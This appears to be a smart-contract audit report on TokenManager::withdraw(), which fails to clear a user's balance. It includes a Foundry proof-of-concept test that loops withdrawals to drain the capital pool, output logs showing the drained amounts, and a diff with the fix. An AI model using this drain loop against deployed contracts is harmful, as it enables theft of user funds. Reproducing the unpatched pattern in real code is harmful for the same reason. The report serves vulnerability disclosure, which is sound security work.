Summary
Function TokenManager::withdraw()
does not update contract state. User can call withdraw()
multiple times and drain all funds from contract.
Proof of Code
Add this test to PreMarkets.t.sol
function test_userCanWithdrawAllFunds() public {
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
vm.stopPrank();
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(user2);
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offerAddr, 500);
vm.stopPrank();
vm.prank(address(capitalPool));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
uint256 startingCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
uint256 startingUserBalance = mockUSDCToken.balanceOf(user);
vm.startPrank(user);
while(mockUSDCToken.balanceOf(address(capitalPool)) >= 1.5e14){
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
}
vm.stopPrank();
uint256 endingCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
uint256 endingUserBalance = mockUSDCToken.balanceOf(user);
uint256 totalWithdrawed = endingUserBalance - startingUserBalance;
console2.log("Starting user balance: %s", startingUserBalance);
console2.log("Ending user balance: %s", endingUserBalance);
console2.log("Starting pool balance %s", startingCapitalPoolBalance);
console2.log("Ending pool balance %s", endingCapitalPoolBalance);
console2.log("Total withdrawed funds %s", totalWithdrawed);
}
run forge test --mt test_userCanWithdrawAllFunds -vvv
Output log:
Logs:
Starting user balance: 99999999988000000000000000
Ending user balance: 100000000005100000000000000
Starting pool balance 17175000000000000
Ending pool balance 75000000000000
Total withdrawed funds 17100000000000000
User should be eligible to withdraw 1.5e14 from TaxIncome, but he was able to withdraw 1.71e16
Impact
High, all funds at risk
Tools Used
Manual review, foundry
Recommendations
Update contract state when making withdrawal
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
+ userTokenBalanceMap[_msgSender()][
+ _tokenAddress
+ ][_tokenBalanceType] = 0;
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}